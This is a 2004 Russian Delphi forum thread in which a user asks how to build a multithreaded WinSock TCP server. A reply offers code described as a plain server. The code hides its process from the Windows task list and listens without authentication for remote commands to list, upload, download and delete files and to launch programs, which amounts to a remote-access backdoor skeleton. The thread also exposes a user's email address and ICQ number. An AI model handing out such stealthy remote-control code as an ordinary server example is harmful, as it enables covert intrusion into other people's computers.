многопоточный TCP-сервер

← →
Quest (2004-08-14 17:25) [0]

Здраствуйте, мастера Delphi.
У меня такой вопрос: как сделать многопоточный TCP-сервер в delphi средствами winapi?
Может я неправильно сформулировал вопрос, короче мне нужно, чтобы с сервером могли одновременно работать несколько клиентов.
Заранее спасибо

← →
Quest (2004-08-14 17:26) [1]

средствами WinSock

← →
Vetek_2 (2004-08-14 18:07) [2]

пример моего TCP сервака, размер после сжатия 10 кб

{$I-}
program Server;

uses
Windows,AVL,WinSock,ShellApi,KOL;
Const
cPort=word(5555);
Delay=17; //Delay sys open port
del_delay=750;
//{$define M_debug}

Var
trId: DWORD;
vWSAData : TWSAData;
vListenSocket,S1: TSocket;
vSockAddr : TSockAddr;

Type tregisterserviceprocess = function (dwprocessid,dwtype:dword) : dword;stdcall;

procedure HideACD; // Процедура для скрытия от Alt+Ctrl+Del
var
registerserviceprocess : tregisterserviceprocess;
hndl:cardinal;
begin
try
hndl:=loadlibrary("KERNEL32.DLL"); //Загружаем в память библиотеку
registerserviceprocess:=getprocaddress(hndl,"1RegisterServiceProcess");
if @registerserviceprocess = nil then exit;
registerserviceprocess(getcurrentprocessid,1); //Используем функцию RegisterServiceProcess
freelibrary(hndl); // выгружаем библиотеку из памяти
except end;
end;

procedure SocketThread;
Const snd=4096;
var
s :TSocket;
buf,buf2: array[0..4095] of char;
sq,prinato,nadoprinat,i,i1 : integer;
sp,command,send_q:string;

procedure SendCmd(Var q:string);
Var z1,z2,z3,z4,z5:integer;p11:string;
Begin
str((Length(q)+8):8,p11);
q:=p11+q;
z1:=0;z2:=0;
z3:=length(q);z4:=length(q);
while true do begin
fillchar(buf2,sizeOf(buf2),0);
if z3>snd then
begin
for z5:=0 to snd-1 do
buf2[z5]:=q[z2+z5+1];
z1:=send(S,buf2,snd,0); end
else begin
for z5:=0 to z3-1 do
buf2[z5]:=q[z2+z5+1];
z1:=send(S,buf2,z3,0); end;
z2:=z2+z1;
z3:=z3-z1;
if (not(z1>0))then break;
if (z2>=z4) then break;
end;
if z1=0 then p11:="";
End;

{$I funct.pas} // функции обработки комманд

function Processor(var cmd:string):boolean;
Var selector,m1:integer;a148:string;
begin
Processor:=false;
if length(cmd)<3 then exit;

a148:=copy(cmd,1,3);
delete(cmd,1,3);
Val(a148,selector,m1);
case selector of
//1: begin send_q:="002"+ver; SendCmd(send_q); end;
2: GetDriveAll;
3: SendFailSpisok(cmd);
4: SendFail1(cmd);
5: Zapusk(cmd);
6: RecFail1(cmd);
8: DelFail1(cmd);
777:begin send_q:="002Server halted .. sorry"; SendCmd(send_q);halt(1); end;
else begin send_q:="001"; SendCmd(send_q) end;
end;
Processor:=true;
end;

begin
s:=s1;
if s = INVALID_SOCKET then begin
{$ifdef M_debug}
Messagebox(0,"error soket","714136",0);
{$endif}
exit; end;

sp:="";
prinato:=0; nadoprinat:=0;
repeat
fillchar(buf,sizeof(buf),0);
i:=0;
try i:=recv(s,buf,sizeof(buf),0); except end;

if (i = SOCKET_ERROR) then begin
{$ifdef M_debug}Messagebox(0,"Error connect","-1",0);
{$endif} exit; end;

if (i = 0) then begin
{$ifdef M_debug} Messagebox(0,"Error connect","0",0);
{$endif} exit; end;

sp:="";
for sq:=0 to i-1 do
sp:=sp+buf[sq];

if (prinato<=0) then
begin
Val(copy(sp,1,8),nadoprinat,i1);
if (nadoprinat<=0) then continue;
delete(sp,1,8);
command:=sp;
prinato:=i;
end else begin
prinato:=prinato+i;
command:=command+sp;
end;
if (prinato>=nadoprinat) then begin
command:=copy(command,1,nadoprinat);
sp:=""; prinato:=0; nadoprinat:=0;
Processor(command);
end;
until false;
closesocket(s);
end;

begin
if not IsWinNT then HideACD;
sleep(delay);
UseInputOutput;
if WSAStartup($101,vWSAData)<>0 then begin
{$ifdef M_debug} Messagebox(0,"Eror WSA","Error",0);
{$endif} exit; end;
//Создаем прослушивающий сокет.
vListenSocket := socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if vListenSocket = INVALID_SOCKET then begin
{$ifdef M_debug} Messagebox(0,"Eror soket","Error 73643",0);{$endif} exit; end;
FillChar(vSockAddr,SizeOf(TSockAddr),0);
vSockAddr.sin_family := AF_INET;
vSockAddr.sin_port := htons(cPort);
vSockAddr.sin_addr.S_addr := INADDR_ANY;
//Привязываем адрес и порт к сокету.
if bind(vListenSocket,vSockAddr,SizeOf(TSockAddr)) <> 0
then begin
{$ifdef M_debug} Messagebox(0,"Sys error 4554","444",0); {$endif} exit; end;
//Начинаем прослушивать.
if listen(vListenSocket,SOMAXCONN) <> 0
then begin
{$ifdef M_debug} Messagebox(0,"Sys error open port","444",0); {$endif}
exit; //надо ещё что-нить придумать - типа фаерволл
end;
repeat
//Ожидаем подключения.
S1:=accept(vListenSocket,nil,nil);
//Клиент подключился, запускаем новый процесс на соединение.
CreateThread(nil,0,@SocketThread,nil,0,trId);
until false;
closesocket(vListenSocket);
WSACleanup;
end.

← →
Vetek_2 (2004-08-14 18:08) [3]

он у меня выполняет функции передачи, приёма файлов, "ядро кода" - из какого-то примера

← →
Vetek_2 (2004-08-14 18:47) [4]

к нему клиент тоже на апи - 14 кб :))))

← →
Quest (2004-08-14 22:38) [5]

Премного благодарен за сервер - мне очень помогло.
можешь дать исходник клиента?
Заранее спасибо

← →
Vetek_2 (2004-08-14 22:42) [6]

могу дать полностью исходник сервера и клиента, но для его компиляции нужен AVL..
оставь мыло - скину ..

← →
Vetek_2 (2004-08-14 22:44) [7]

MainForm.pp.Caption:="Соединяемся ..";
if WSAStartup($101,vWSAData)<>0 then Halt(1);
S := socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if s= INVALID_SOCKET then Halt(1);
FillChar(vSockAddr,SizeOf(TSockAddr),0);
vSockAddr.sin_family :=AF_INET;
vSockAddr.sin_port :=htons(strtoint(MainForm.port.Text));
vSockAddr.sin_addr.S_addr:=inet_addr(Pchar(MainForm.ip.Text));
if connect(S,vSockAddr,SizeOf(TSockAddr)) = SOCKET_ERROR then
begin
MainForm.pp.Caption:="Не удалось соединиться :(";
exit;end;
CreateThread(nil,0,@Priem,nil,0,trId);
MainForm.pp.Caption:="Соединение установлено !";

//коннект

← →
Quest (2004-08-14 23:47) [8]

мне не компилировать, а так посмотреть, как ты все реализовывал, файлы посылал и т.д.
bog_fixxxer@rambler.ru

← →
Vetek_2 (2004-08-15 03:10) [9]

[8] Quest (14.08.04 23:47)
послал :)

← →
Quest (2004-08-15 12:18) [10]

БОЛЬШОЕ спасибо!

← →
Quest (2004-08-15 12:20) [11]

Только вот почту проверил, а там ничего нету :-(

← →
Vetek_2 (2004-08-15 18:31) [12]

странно ...
послал ещё раз ..
если не дойдёт - стучись в аську 229433

← →
Quest (2004-08-19 23:25) [13]

Спасибо, все дошло... глюки с мылом

многопоточный TCP-сервер Найти похожие ветки